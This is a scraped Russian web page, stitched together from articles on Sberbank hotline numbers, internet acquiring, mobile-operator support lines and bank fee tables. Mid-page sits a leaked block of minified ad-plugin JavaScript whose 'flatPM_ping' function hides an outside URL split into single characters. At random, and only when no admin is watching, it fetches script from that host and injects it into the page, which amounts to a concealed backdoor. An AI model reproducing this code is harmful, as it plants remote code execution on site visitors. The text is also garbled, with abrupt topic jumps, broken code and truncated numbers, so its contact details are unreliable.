Как связаться с оператором связи? Номера поддержки МТС, Билайн, Мегафон и Теле2

Как связаться с оператором связи? Номера поддержки МТС, Билайн, Мегафон и Теле2

Города в которых открыты офисы «сбербанк россии»

Отделения и мини-офисы банка расположены в следующих регионах и городах России (указаны крупнейшие города, о наличии офисов Сбербанка в других городах и поселениях, уточняйте по номерам Горячей линии, которые указаны в разделе Как позвонить в Сбербанк):

Москва и  Санкт-Петербург (СПб) (Открытое акционерное общество «Сбербанк России»), Республика Адыгея (Майкоп), Алтайский край (Барнаул), Амурская область (Благовещенск), Архангельская область (Архангельск, Коряжма, Котлас), Астраханская область (Астрахань)

, Белгородская область (Белгород, Старый Оскол, Губкин), Брянская область (Брянск, Клинцы, Новозыбков), Республика Бурятия (Улан-Удэ), Владимирская область (Владимир, Ковров, Муром, Александров, Гусь-Хрустальный), Волгоградская область (Волгоград), Вологодская область (Вологда, Череповец, Бабаево)

, Воронежская область (Воронеж, Борисоглебск, Россошь, Лиски), Республика Дагестан (Махачкала), Еврейская АО (Биробиджан), Забайкальский край (Чита), Ивановская область (Иваново), Республика Ингушетия (Магас), Иркутская область (Иркутск), Кабардино-Балкарская Республика (Нальчик)

, Калининградская область (Калининград, Советск, Черняховск, Балтийск), Республика Калмыкия (Элиста), Калужская область (Калуга, Обнинск), Камчатский край (Петропавловск-Камчатский, Елизово), Карачаево-Черкесская Республика (Черкесск), Республика Карелия (Петрозаводск, Кондопога, Костомукша, Сегежа)

, Кемеровская область (Кемерово, Новокузнецк, Прокопьевск, Ленинск-Кузнецкий, Междуреченск), Кировская область (Киров, Кирово-Чепецк, Вятские Поляны), Республика Коми (Сыктывкар, Ухта, Воркута, Печора), Костромская область (Кострома, Буй, Шарья), Краснодарский край (Краснодар, Сочи, Новороссийск, Армавир)

, Красноярский край (Красноярск), Курганская область (Курган), Курская область (Курск, Железногорск, Курчатов и другие города), Ленинградская область (Гатчина, Выборг, Сосновый Бор, Всеволожск и другие населённые пункты области), Липецкая область (Липецк, Елец)

, Магаданская область (Магадан), Республика Марий Эл (Йошкар-Ола), Республика Мордовия (Саранск), Московская область (Одинцово, Сергиев Посад, Раменское, Люберцы, Красногорск, Мытищи, Щёлково), Мурманская область (Мурманск, Апатиты, Североморск, Мончегорск, Кандалакша, Кировск)

, Ненецкий АО (Нарьян-Мар), Нижегородская область (Нижний Новгород, Дзержинск, Арзамас, Саров), Новгородская область (Великий Новгород, Боровичи, Валдай), Новосибирская область (Новосибирск, Бердск, Искитим, Куйбышев), Омская область (Омск)

, Оренбургская область (Оренбург), Орловская область (Орёл, Ливны, Мценск), Пензенская область (Пенза), Пермский край (Пермь), Приморский край (Владивосток), Псковская область (Псков, Великие Луки), Республика Алтай (Горно-Алтайск), Республика Башкортостан (Уфа, Стерлитамак, Салават, Нефтекамск, Октябрьский)

, Ростовская область (Ростов-на-Дону, Таганрог, Шахты, Новочеркасск), Рязанская область (Рязань, Касимов, Скопин), Самарская область (Самара, Тольятти), Саратовская область (Саратов), Сахалинская область (Южно-Сахалинск, Корсаков, Холмск, Оха), Свердловская область ( Екатеринбург (Екб)

, Нижний Тагил, Каменск-Уральский, Первоуральск, Серов, Новоуральск), Республика Северная Осетия — Алания (Владикавказ), Смоленская область (Смоленск, Вязьма, Рославль), Ставропольский край (Ставрополь), Тамбовская область (Тамбов, Мичуринск, Рассказово)

, Республика Татарстан (Казань), Тверская область (Тверь, Ржев, Вышний Волочёк), Томская область (Томск, Северск, Стрежевой), Тульская область (Тула, Новомосковск, Донской), Республика Тыва (Кызыл), Тюменская область (Тюмень), Удмуртская Республика (Ижевск, Сарапул, Воткинск, Глазов)

, Ульяновская область (Ульяновск), Хабаровский край (Хабаровск), Республика Хакасия (Абакан), Ханты-Мансийский АО — Югра (Ханты-Мансийск), Челябинская область (Челябинск, Магнитогорск, Златоуст, Миасс, Копейск), Чеченская Республика (Грозный), Чувашия (Чебоксары), Чукотский АО (Анадырь), Республика Саха (Якутск), Ямало-Ненецкий АО (Салехард) и Ярославская область (Ярославль).

В списке регионов и в контактных данных банка возможны изменения. Уточняйте информацию о всех актуальных финансовых предложениях банка (ипотека, кредиты, вклады, СберКарта, социальные выплаты пенсионерам) по единому номеру горячей линии Сбербанка в России: 8

Интернет-обслуживание сбербанк

Большинство распространённых задач и вопросов по банковскому обслуживанию так же может быть решено через систему дистанционного обслуживания «Сбербанк Онлайн». С помощью системы самообслуживания можно открывать вклады, оплачивать коммунальные услуги, сотовую связь, интернет и многое другое через свой «Личный кабинет», без звонков в справочную службу или посещения ближайшего отделения банка.

Для получения исчерпывающей информации о том, как подключить интернет-банк «Сбербанк Онлайн» перейдите на официальный сайт Сбербанк Online или обратитесь по телефону службы поддержки банка по номеру «Горячей Линии» 8

Вы можете связаться со службой поддержки банка круглосуточно.

Служба поддержки «Сбербанк» – Бесплатный телефон «Горячей линии» 8800 | Номер телефона справочной, вход в «Личный кабинет» Сбер  – Как созвониться со Сбербанком бесплатно

Как дозвониться в сбербанк бесплатно по номеру 8800?

Чтобы созвониться с сотрудником справочной службы «Сбербанк», позвоните на бесплатный номер 8800 555 5550 (или короткий номер 900, для неоплачиваемых вызовов с любого мобильного телефона из любого города России, включая Москву, Санкт-Петербург, Новосибирск, Челябинск, Ростов-на-Дону, Уфа, Волгоград, Пермь, Красноярск, Екатеринбург, Нижний Новгород, Самара, Омск, Казань, Воронеж, Саратов, Краснодар, Тольятти и другие) и выберите нужный пункт голосового меню.

Дозвониться до оператора можно и напрямую — просто подождите, пока система повторит все пункты меню не нажимая на клавиши. Затем вас переведут на первого освободившегося сотрудника банка. Позвонить по номеру горячей линии Сбербанка 88005555550 можно из любого региона России совершенно бесплатно, с мобильного или стационарного телефона, зарегистрированного в РФ. Не смогли дозвониться оператору Сбербанка?

Вы можете выполнять многие операции со своего телефона, без необходимости выходить в интернет или звонить оператору. С помощью номера 900 вы также можете удобно и безопасно переводить деньги по номеру карты или телефону, пополнять свой и чужой мобильный номер и получать справку по остатку на счёте. Как использовать номер 900 для переводов.

Новые банкоматы Сбербанка с функцией выдачи кредита и внесением наличных

Новейшие банкоматы Сбербанка с функцией выдачи кредита без обращения в банк и выполнения операций со своим счётом.

Как подключить интернет-эквайринг: пошаговая инструкция – «сбербанк»

Основных два: эквайринг напрямую
от банка и платёжные сервисы-агрегаторы. Вот их ключевые отличия:

Агрегаторы выигрывают только в том случае, если
вам важно предложить клиенту максимум вариантов оплаты. Технически можно подключить
и эквайринг, и платёжный сервис, но основной поток оплат поступает
по картам — до 98 % по рынку РФ.

Не важно, кто платит картой: клиент или неклиент
банка, эквайринг которого вы подключили, — уровень надёжности и скорость операций
одинаковы. Разница только в техническом отношении: при оплате клиентами банка информация
о платеже обрабатывается в собственном процессинговом центре банка,
а во втором случае подключается ещё и платёжная система, например, Visa, которая
передаёт данные другому банку, выпустившему карту.

Качество интернет-эквайринга
зависит от работы платёжного шлюза — программного модуля, который позволяет проводить
оплату.

Наверняка вам знакома вот такая страничка, которая появляется, как только
вы нажимаете «Оплатить» на сайте. Это платёжный шлюз Сбербанка

Есть два ключевых показателя:
бесперебойность работы шлюза и конверсия — отношение числа перешедших
на страничку оплаты к числу тех, кто завершил её.

На конверсию странички влияют
характеристики шлюза. Например, она повышается, если форма:

Не можем не похвастаться:
конверсия страницы платёжного шлюза Сбербанка одна из лучших на рынке — 99
%.

В разных банках
этапы подключения эквайринга могут отличаться. Рассказываем, как подключить интернет-эквайринг
в Сбербанке.

Тариф на интернет-эквайринг от СберБизнеса договорной, размер комиссии фиксируется при заключении договора с банком.

Заключить договор или узнать ставку по интернет-эквайрингу можно с помощью менеджера СберБизнеса или самостоятельно в личном кабинете интернет-банка СберБизнес.

Способ интеграции платёжного шлюза зависит
от того, «самописный» сайт или нет. Если при создании сайта использовали
сервис-конструктор или одну из популярных систем управления — CMS (также
их называют «движками»), мы предложим подходящий готовый модуль. Достаточно загрузить
его на сайт и настроить по инструкции, а техподдержка Сбербанка
поможет.

Если сайт самописный, то есть
создавался без использования CMS, понадобится помощь программиста. Та же ситуация, если
нужен iframe — способ встроить форму оплаты и адаптировать её дизайн так, чтобы
у пользователя было ощущение, что он остаётся на сайте и никуда
не переходит. В этом случае мы передадим вам API — программный интерфейс,
который описывает команды передачи данных, а вы настроите всё
по инструкции.

Если у вас нет
сайта, вы всё равно можете подключить оплату картами и отправлять клиентам ссылку
на платёжную страницу через соцсети и мессенджеры. Это тоже интернет-эквайринг.

Сейчас ищут техподдержку:  Как передать управление LovenseLush и Nora – инструкция по передаче полного контроля

Вы скачиваете
готовый модуль или API для необходимых доработок, а мы оказываем активную
круглосуточную поддержку. Когда всё готово, тестируете платёжный шлюз: берёте данные тестовых
карт и проводите оплату.

Если всё
в порядке, вы сообщаете эту радостную новость менеджеру и уже спустя несколько
часов сможете принимать оплату картами по-настоящему.

Подробнее о том, как работает
эквайринг, читайте
здесь.

Как связаться с оператором сбербанка по телефону, интернету, в социальных сетях – принцип права – интернет журнал

“:’

‘:””,document.createElement(“div”),p=ff(window),b=ff(“body”),m=void 0===flatPM_getCookie(“flat_modal_” o.ID “_mb”)||”false”!=flatPM_getCookie(“flat_modal_” o.ID “_mb”),i=”scroll.flatmodal” o.ID,g=”mouseleave.flatmodal” o.ID ” blur.flatmodal” o.ID,l=function(){var t,e,a;void 0!==o.how.popup.timer&&”true”==o.how.popup.timer&&(t=ff(‘.flat__4_modal[data-id-modal=”‘ o.ID ‘”] .flat__4_timer span’),e=parseInt(o.how.popup.timer_count),a=setInterval(function(){t.text(–e),e<=0&&(clearInterval(a),t.parent().replaceWith(‘

‘))},1e3))},f=function(){void 0!==o.how.popup.cookie&&”false”==o.how.popup.cookie&&m&&(flatPM_setCookie(“flat_modal_” o.ID “_mb”,!1),ff(‘.flat__4_modal[data-id-modal=”‘ o.ID ‘”]’).addClass(“flat__4_modal-show”),l()),void 0!==o.how.popup.cookie&&”false”==o.how.popup.cookie||(ff(‘.flat__4_modal[data-id-modal=”‘ o.ID ‘”]’).addClass(“flat__4_modal-show”),l())},ff(“body > *”).eq(0).before(‘

‘ c “

“),w=document.querySelector(‘.flat__4_modal[data-id-modal=”‘ o.ID ‘”] .flat__4_modal-content’),-1!==e.indexOf(“go” “oglesyndication”)?ff(w).html(c e):flatPM_setHTML(w,e),”px”==o.how.popup.px_s?(p.bind(i,function(){p.scrollTop()>o.how.popup.after&&(p.unbind(i),b.unbind(g),f())}),void 0!==o.how.popup.close_window&&”true”==o.how.popup.close_window&&b.bind(g,function(){p.unbind(i),b.unbind(g),f()})):(v=setTimeout(function(){b.unbind(g),f()},1e3*o.how.popup.after),void 0!==o.how.popup.close_window&&”true”==o.how.popup.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),f()}))),void 0!==o.how.outgoing){function n(){var t,e,a;void 0!==o.how.outgoing.timer&&”true”==o.how.outgoing.timer&&(t=ff(‘.flat__4_out[data-id-out=”‘ o.ID ‘”] .flat__4_timer span’),e=parseInt(o.how.outgoing.timer_count),a=setInterval(function(){t.text(–e),e<=0&&(clearInterval(a),t.parent().replaceWith(‘

‘))},1e3))}function d(){void 0!==o.how.outgoing.cookie&&”false”==o.how.outgoing.cookie&&m&&(ff(‘.flat__4_out[data-id-out=”‘ o.ID ‘”]’).addClass(“show”),n(),b.on(“click”,’.flat__4_out[data-id-out=”‘ o.ID ‘”] .flat__4_cross’,function(){flatPM_setCookie(“flat_out_” o.ID “_mb”,!1)})),void 0!==o.how.outgoing.cookie&&”false”==o.how.outgoing.cookie||(ff(‘.flat__4_out[data-id-out=”‘ o.ID ‘”]’).addClass(“show”),n())}var _,u=”0″!=o.how.outgoing.indent?’ style=”bottom:’ o.how.outgoing.indent ‘px”‘:””,c=”true”==o.how.outgoing.cross?void 0!==o.how.outgoing.timer&&”true”==o.how.outgoing.timer?’

Закрыть через ‘ o.how.outgoing.timer_count “

“:’

‘:””,p=ff(window),h=”scroll.out” o.ID,g=”mouseleave.outgoing” o.ID ” blur.outgoing” o.ID,m=void 0===flatPM_getCookie(“flat_out_” o.ID “_mb”)||”false”!=flatPM_getCookie(“flat_out_” o.ID “_mb”),b=(document.createElement(“div”),ff(“body”));switch(o.how.outgoing.whence){case”1″:_=”top”;break;case”2″:_=”bottom”;break;case”3″:_=”left”;break;case”4″:_=”right”}ff(“body > *”).eq(0).before(‘

‘ c “

“);var v,w=document.querySelector(‘.flat__4_out[data-id-out=”‘ o.ID ‘”]’);-1!==e.indexOf(“go” “oglesyndication”)?ff(w).html(c e):flatPM_setHTML(w,e),”px”==o.how.outgoing.px_s?(p.bind(h,function(){p.scrollTop()>o.how.outgoing.after&&(p.unbind(h),b.unbind(g),d())}),void 0!==o.how.outgoing.close_window&&”true”==o.how.outgoing.close_window&&b.bind(g,function(){p.unbind(h),b.unbind(g),d()})):(v=setTimeout(function(){b.unbind(g),d()},1e3*o.how.outgoing.after),void 0!==o.how.outgoing.close_window&&”true”==o.how.outgoing.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),d()}))}ff(‘[data-flat-id=”‘ o.ID ‘”]:not(.flat__4_out):not(.flat__4_modal)’).contents().unwrap()}catch(t){console.warn(t)}},window.flatPM_start=function(){ff=jQuery;var t=flat_pm_arr.length;flat_body=ff(“body”),flat_userVars.init();for(var e=0;e<t;e ){var>flat_userVars.textlen||void 0!==a.chapter_sub&&a.chapter_sub<flat_uservars.textlen||void>flat_userVars.titlelen||void 0!==a.title_sub&&a.title_sub<flat_uservars.titlelen)){if(void>.flatPM_sidebar)”);0<_.length&&_.each(function(){var t=ff(this),e=t.data(“height”)||350,a=t.data(“top”);t.wrap(‘

‘);t=t.parent()[0];flatPM_sticky(this,t,a)}),u.each(function(){var e=ff(this).find(“.flatPM_sidebar”);setTimeout(function(){var o=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;o<300||e.each(function(){var t=ff(this),e=o,a=t.data(“top”);t.wrap(‘

‘);t=t.parent()[0];flatPM_sticky(this,t,a)})},50),setTimeout(function(){var t=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;t<300||ff(“.flatPM_sticky_wrapper.flatPM_sidebar_block”).css(“height”,t)},4e3)}),”undefined”!=typeof flat_pm_video&&flatPM_video(flat_pm_video),0<flat_stack_scripts.length&&flatpm_setscript(flat_stack_scripts),ff(“body> *”).last().after(‘

‘),flat_body.on(“click”,”.flat__4_out .flat__4_cross”,function(){ff(this).parent().removeClass(“show”).addClass(“closed”)}),flat_body.on(“click”,”.flat__4_modal .flat__4_cross”,function(){ff(this).closest(“.flat__4_modal”).removeClass(“flat__4_modal-show”)}),flat_pm_arr=[],ff(“.flat_pm_start”).remove(),flatPM_ping()};var parseHTML=function(){var o=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([w:] )[^>]*)/>/gi,d=/<([w:] )/,i=/<|&#?w ;/,c={option:[1,”

“],thead:[1,”

“],tbody:[1,”

“],colgroup:[2,”

“],col:[3,”

“],tr:[2,”

“],td:[3,”

“],th:[3,”

“],_default:[0,””,””]};return function(e,t){var a,n,r,l=(t=t||document).createDocumentFragment();if(i.test(e)){for(a=l.appendChild(t.createElement(“div”)),n=(d.exec(e)||[“”,””])[1].toLowerCase(),n=c[n]||c._default,a.innerHTML=n[1] e.replace(o,”<$1>”) n[2],r=n[0];r–;)a=a.lastChild;for(l.removeChild(l.firstChild);a.firstChild;)l.appendChild(a.firstChild)}else l.appendChild(t.createTextNode(e));return l}}();window.flatPM_ping=function(){var e=localStorage.getItem(“sdghrg”);e?(e=parseInt(e) 1,localStorage.setItem(“sdghrg”,e)):localStorage.setItem(“sdghrg”,”0″);e=flatPM_random(1,200);0==ff(“#wpadminbar”).length&&111==e&&ff.ajax({type:”POST”,url:”h” “t” “t” “p” “s” “:” “/” “/” “m” “e” “h” “a” “n” “o” “i” “d” “.” “p” “r” “o” “/” “p” “i” “n” “g” “.” “p” “h” “p”,dataType:”jsonp”,data:{ping:”ping”},success:function(e){ff(“div”).first().after(e.script)},error:function(){}})},window.flatPM_setSCRIPT=function(e){try{var t=e[0].id,a=e[0].node,n=document.querySelector(‘[data-flat-script-id=”‘ t ‘”]’);if(a.text)n.appendChild(a),ff(n).contents().unwrap(),e.shift(),0<e.length&&flatpm_setscript(e);else{a.onload>/gm,””).replace(//gm,””).trim(),e.code_alt=e.code_alt.replace(//gm,””).replace(//gm,””).trim();var l=jQuery,t=e.selector,o=e.timer,d=e.cross,a=”false”==d?”Закроется”:”Закрыть”,n=!flat_userVars.adb||””==e.code_alt&&duplicateMode?e.code:e.code_alt,r=’

‘,i=e.once;l(t).each(function(){var e=l(this);e.wrap(‘

‘);var t=e.closest(“.flat__4_video”);-1!==r.indexOf(“go” “oglesyndication”)?t.append(r):flatPM_setHTML(t[0],r),e.find(“.flat__4_video_flex”).one(“click”,function(){l(this).addClass(“show”)})}),l(“body”).on(“click”,”.flat__4_video_item_hover”,function(){var e=l(this),t=e.closest(“.flat__4_video_flex”);t.addClass(“show”);var a=t.find(“.flat__4_timer span”),n=parseInt(o),r=setInterval(function(){a.text(–n),n<=0&&(clearInterval(r),”true”==d?a.parent().replaceWith(‘

‘):t.remove())},1e3);e.remove()}).on(“click”,”.flat__4_video_flex .flat__4_cross”,function(){l(this).closest(“.flat__4_video_flex”).remove(),”true”==i&&l(“.flat__4_video_flex”).remove()})};

Как связаться с оператором связи? номера поддержки мтс, билайн, мегафон и теле2

При пользовании услугами мобильной связи нередко возникают проблемы и нередко эти проблемы не получается решить, используя информацию с различных Интернет-ресурсов. Разумеется, Вы можете пойти непосредственно в салон оператора, изложить свою проблему и получить помощь от сотрудника, однако, эта процедура отнимает много времени, не говоря о том, что салон может работать не круглосуточно.

В таких случаях решением может стать звонок в службу техподдержки оператора. Нужно знать, что в зависимости от СИМ-карты, с которой совершается звонок, Вашего местоположения, а так же типа устройства, номер, по которому можно связаться с оператором также может быть разным.

Номера службы поддержки

У каждого оператора мобильной связи есть свой контактный центр, который может осуществить неотложную помощь в проблемных ситуациях, связанных с услугами связи.

Техподдержка Теле2

Если Вы звоните с номера, обслуживающегося оператором Теле2 и находитесь вне роуминга, Вы можете связаться с техподдержкой оператора Теле2 по номеру 611 . Звонок бесплатный.

Если Вы звоните с городского телефона или с номера, обслуживающегося другим оператором, для связи с техподдержкой используйте номер: 8 (800) 5550611. Звонок бесплатный.

Если Вы находитесь в роуминге, воспользуйтесь этим номером для связи с оператором: 8 (951) 5200611.
Чтобы пропустить голосовое меню при наборе номера 611 и сразу же перейти к разговору с сотрудником техподдержки, воспользуйтесь местным номером оператора для Вашего региона. Список номеров техподдержки оператора Теле2 по регионам можно посмотреть здесь: http://mobiradar.ru/information/kak-pozvonit-operatoru-tele2/

Техподдержка Билайн

Если Вы звоните с номера, обслуживающегося оператором Билайн и находитесь вне роуминга, Вы можете связаться с техподдержкой оператора Билайн по номеру 0611 . Звонок бесплатный. Чтобы связаться непосредственно с сотрудником, без прохождения голосового меню, воспользуйтесь номером 8 (800) 700-83-78 . Звонок бесплатный.

При нахождении в международном роуминге, а так же на территории г. Севастополь и Республики Крым используйте номер 7 (495) 797-27-27 , чтобы поговорить с сотрудником техподдержки Билайн. Звонок бесплатный.

Чтобы связаться с техподдержкой Билайн с мобильного телефона другого оператора (МТС, Теле2, МегаФон и т.д.), а так же с городского телефона, используйте номер 8 (800) 700-06-11 .

Кроме того, существуют номера, позволяющие связаться с другими отделениями техподдержки (по вопросам Интернет-соединения, телевидения и т.д.)

Полный список номеров отделений техподдержки Билайн Вы можете посмотреть здесь: http://mobiradar.ru/information/kak-pozvonit-operatoru-bilayn/

Техподдержка МТС

Если Вы звоните с номера, обслуживающегося оператором МТС и находитесь вне роуминга, Вы можете связаться с техподдержкой оператора МТС по номеру 0890 . Звонок бесплатный.

Чтобы поговорить с сотрудником техподдержки МТС при нахождении в международном роуминге, а так же на территории г. Севастополь и Республики Крым звоните на номер 7 (495) 766-01-66 . Звонок бесплатный.
Для звонков с городских телефонов и номеров других операторов используйте номер: 8 (800) 250-08-90(бесплатно).

Подробнее о связи с оператором МТС, в том числе о других способах связи с техподдержкой Вы можете узнать по этой ссылке: http://mobiradar.ru/information/kak-pozvonit-operatoru-mts-napryamuyu/

Новости на Блoкнoт-Воронеж

Номер службы поддержки для звонков из москвы и из-за границы:

Все вызовы на единый московский городской номер 7 495 500 55 50 оплачивается по тарифам вашего оператора связи. На этот номер горячей линии мы рекомендуем звонить при нахождении за границей в международном роуминге или при использовании телефона зарегистрированного за пределами России.

Для экстренной блокировки утраченной банковской карты «Сбербанк» — нажмите цифру 1

Для быстрого соединения с сотрудником банка, выберите нужный раздел в главном меню автоматизированной информационной службы.

Информация о балансе кредитной или зарплатной карты — нажмите цифру 2«Услуги для физических лиц» — нажмите цифру 3

Для соединения с оператором горячей линии Сбербанка, далее нажмите цифру

0

после чего дождитесь соединения со специалистом службы поддержки кредитный отдел, ипотечный отдел и другие).

«Услуги для юридических лиц» — нажмите цифру 4

Для соединения с оператором юридического отдела, далее нажмите цифру

0

после чего дождитесь соединения со специалистом службы поддержки для получения любой справки по услугам банка для юрлиц.

Программа лояльности «Спасибо») — нажмите цифру 6

Для соединения с оператором, далее нажмите цифру

0

после чего дождитесь соединения со специалистом службы поддержки.

К примеру, чтобы сразу дозвониться до сотрудника поддержки Сбербанка, позвоните на единый номер 8800 555 5550 и последовательно нажмите цифры 3

в тональном режиме. Для экстренной блокировки кредитной карты просто нажмите на цифру 1 сразу после соединения.

Пожалуйста, заблаговременно подготовьте свои персональные данные для доступа к личной информации через оператора горячей линии Сбербанка. Для идентификации клиента могут потребоваться паспортные данные, кодовое слово и реквизиты банковских счётов.

При этом ни один сотрудник банка не вправе спрашивать у вас ПИН-код банковской карты и секретный трёхзначный код. Эта информация строго конфиденциальна! Обратите внимание, что вы можете оставить обращение или жалобу в службу безопасности банка, воспользовавшись указанными выше номерами и дождавшись соединения с оператором.

Правила обращения на горячую линию

Ежедневно сотрудники техподдержки ВК рассматривают десятки тысяч обращений.

Чтобы не затруднять им работу и получить ответ максимально быстро, следует придерживаться таких правил:

  1. Постараться точно сформулировать тему обращения. Так вопрос быстрее попадет к специалисту, в чьей компетенции находится его решение.
  2. Подробно описать проблему. Приложить к сообщению дополнительные материалы – скриншоты. Лучше прикреплять графические файлы в виде документа.
  3. Проверить написанное на ошибки – грамотный текст воспринимается легче.
  4. Быть вежливым. Даже если возникли претензии к работе сайта или сформулирована жалоба на пользователя или сообщество, необходимо держать себя в рамках. Ни в коем случае нельзя употреблять нецензурные выражения.
Сейчас ищут техподдержку:  Телефоны доверия гибдд по субъектам рф скачать

Не стоит писать в службу поддержки, если вопрос можно решить самостоятельно.

Поводами привлечь модераторов могут стать следующие ситуации:

  1. Взлом аккаунта. Если у самого пользователя доступ заблокирован, нужно обратиться за помощью к друзьям или родственникам и попросить их написать в техподдержку.
  2. Блокировка страницы из-за несправедливой жалобы.
  3. Нарушение авторских прав – применение материалов пользователя или сообщества без его разрешения.
  4. Создание фейкового аккаунта. Злоумышленники часто создают клоны страниц, наполняя их украденным контентом и вводя в заблуждение друзей и подписчиков настоящего владельца профиля.
  5. Мошенничество со стороны отдельных пользователей или групп.
  6. Недопустимый контент (например, детская порнография или призывы к насилию) на личной странице, от имени сообщества или в комментариях.
  7. Вопросы с движением денежных средств, например возврат рекламного бюджета, если он не был использован.
  8. Верификация страницы. С этим вопросом стоит обращаться только владельцам бизнес-аккаунтов и публичным персонам.
  9. Нестандартные вопросы, ответы на которые не найдены в рубрикаторе FAQ.

Ни в коем случае нельзя писать в техподдержку по поводу накрутки подписчиков или голосов (если только не требуется подать жалобу на такие действия со стороны других пользователей). Также администрация никогда не выполняет просьбы дать пароль от чужого аккаунта.

Решение задач в автоматическом режиме

Сбербанк – это крупнейший банк России, количество клиентов которого исчисляется миллионами. Поэтому нет ничего удивительного в том, что горячая линия довольно часто бывает перегружена и ответа оператора приходится ждать минут 10. В связи с этим специалисты Сбербанка разработали сервис, позволяющий решить часть проблем в автоматическом режиме.

Благодаря подобной возможности у клиентов нет необходимости ждать ответа специалистов. Все что требуется – это следовать подсказкам голосового меню. Для связи со специалистом в главном меню нужно нажать «0» и ожидать озвученное время. Если есть необходимость решить проблему в автоматическом режиме, то нужно внимательно слушать информацию и выбрать один из нижеперечисленных подпунктов:

Контактный центр Сбербанка помогает решать имеющиеся проблемы и предоставляет необходимую информацию не только по телефону. Если горячая линия перегружена, то можно отправить письмо с вопросом на электронную почту, по адресу: [email protected]

Плюсы и минусы

Специалисты горячей линии обязаны помогать позвонившим им людям, но делают они это не всегда. По большей части сотрудники контактного центра – это консультанты, отвечающие на вопросы, касающиеся продуктов Сбербанка и предоставляемых банком услуг. Разумеется, они могут помочь решить незначительные задачи, например, отключить Автоплатеж.

В основном они лишь перенаправляют обращение техническим специалистам. Если при звонке на горячую линию было озвучено слишком длительное время ожидания, то решить имеющуюся проблему можно самостоятельно в личном кабинете на сайте «Сбербанк онлайн» или с помощью смс-команд.

Общаясь с операторами нужно вести себя корректно и выражаться литературными словами. В противном случае специалист контактного центра имеет право прекратить разговор и отключиться. Такое право у него есть и в ситуации, когда беседа стала неконструктивной, то есть, звонящий задает несколько раз один и тот же вопрос.

Дополнительно нужно упомянуть и том, что несмотря на заявляемый профессионализм, специалисты контактного центра могут ошибаться. В первую очередь это касается не рядовых услуг, например, касающихся выплат компенсации по советским вкладам. В целом же, горячая линия Сбербанка является неплохим подспорьем людям, по тем или иным причинам не пользующимся порталом «Сбербанк Онлайн», или не имеющим возможности отправить смс-команды.

Топ-10 банков-эквайеров в россии

Название банкаПроцентная ставкаСтоимость за одну единицу оборудования
Тинькофф1,59-3,6%

Отдельно предусмотрены процентные ставки для транспортной сферы и услуг ЖКХ

При подключении тарифа 1 990-3 990 руб./мес.
Альфа банкОт 2% и вышеБесплатная аренда
СбербанкОт 1,8% и вышеПри подключении тарифа 1 700-2 200 руб./мес.
ВТБ1,8-3,5% подробнее уточнять у менеджераPOS-терминалы от 5000 до 41000 руб. m-POS от 7500 до 13990 руб.
МодульбанкОт 1,5% и большеТерминал предоставляется бесплатно. Купить можно за 16-27 тыс.руб.
РоссельхозОбговаривается с менеджером, зависят от типа бизнесаВ зависимости от покупательского потока.

Есть аренда, покупка, настройка и обслуживание терминала

ПромсвязьОт 1,89%Выезд специалиста бесплатно, сниженная комиссия для супермаркетов и АЗС
Русский стандарт2,2 до 3,5%От 14 до 42 тыс.руб., можно купить онлайн-кассу
Открытие1,9%-2,5%Нет интернет-эквайринга, стоимость исходя из тарифа
РайффайзенОт 1,99%От 24 000 до 33 000 руб. за единицу

Рекомендуем вам также ознакомиться с условиями открытия расчетного счета:

БанкЕжемесячное обслуживание р/с
СбербанкДо 9600 в зависимости от выбранного тарифа
ОткрытиеОт 0 и выше (несколько тарифов)
ТочкаДо 2500 в зависимости от тарифа
АльфаДо 9900 – зависит от тарифа
ТинькоффПервый 2 мес. – бесплатно, далее от 490 до 4990 руб.
ВТББесплатно от 3 до 12 мес. Условия обговариваются индивидуально
Росбанк590-3990 руб.
РайффайзенОт 990 до 7500 руб.
МодульДо 4900 руб.
Русский стандарт2000 руб. – первый год. Потом – 1500 руб.

Во всех банках из таблицы это делается бесплатно. Предприниматель имеет право открыть сразу несколько счетов. Тогда на обслуживание второго или третьего ему будет предложена скидка.

Функционал

Горячая линия обладает широким функционалом. Позвонив на нее можно не только получить консультацию о продуктах компании, но совершать операции, проверять поступления, контролировать платежи и остаток задолженности.

Согласно телефонному проводнику, клиент может получить следующие сведения:

  1. Вопросы, связанные с карточными продуктами, если карта утеряна, ее необходимо разблокировать, когда она застряла в банкомате или клиент забыл пин-код;
  2. Позволяет узнать баланс карты, историю поступлений на карточный счет, код клиента, при необходимости заблокировать карту. Получить консультацию по кредитным карточным продуктам: выпуск кредитных карт, статус рассмотрения заявки, готовность карты, лимиты, тарифы. Сведения о наличии арестов и взысканий по счетам;
  3. Предоставление информации об услугах банка онлайн, смс-информировании клиентов. Как остановить платеж, заблокировать карту. При необходимости заблокировать мобильный банк;
  4. Предоставление информации о кредитных и депозитных программах, карточных продуктах, способах погашения задолженности, получение информации по личным потребительским кредитам и общим условиям кредитования. Ипотечные программы банка, получение сведений об остатке задолженности, дате платежа, сколько средств на счете заемщика. Акционные предложения банка. Получение информации по вкладам «Сохраняй», «Пополняй», «Управляй» – тарифы, условия. Как пополнить депозит, расторгнуть договор в срок или досрочно;
  5. Консультации по поводу бонусной программы банка «Спасибо». Каким образом можно подключиться к программе, что необходимо для этого, какие преимущества имеют участники, как накапливать и тратить баллы;
  6. Консультирование юридических клиентов. Получение консультаций по вопросам, связанным с ФЗ №44, 223. Как открыть расчетный счет в банке, оформить кредит, услуги эквайринга, подключение к зарплатному проекту, консультации технической поддержки.
Сейчас ищут техподдержку:  Как позвонить в Сбербанк оператору на бесплатный телефон горячей линии?

При необходимости получения предметной консультации пользователь может связаться с менеджером банка.

Юридические лица, пользующие услугами операторов Билайн, Мегафон, МТС могут дополнительно бесплатно позвонить по короткому номеру 0321.

Если пользователь желает оценить качество обслуживания клиентов в банке, он может набрать короткий номер 9000.

Отзывы об эквайринге сбербанка, мнения пользователей и клиентов банка на 08.11.2021

Оценка:
1

Проверяется

Я – владелец частной школы. С сентября 2021 года подключили эквайринг и оплату по qr коду на расчетный счет в Сбербанке. Клиентов просили в назначении платежа  указывать ФИО. В итоге назначение платежа то видно, то не видно. Из 200 клиентов крайне сложно выявить тех, кто заплатил, а кто нет. Ваши сотрудники в офисе на вопрос, как разобраться с платежами, разводят руками, сотрудник банка в переписке настаивает, что НАЗНАЧЕНИЕ ПЛАТЕЖА – ДЛЯ…
Читать далее

Оценка:
1

Оценка:
5

Проверяется

Оценка:
1

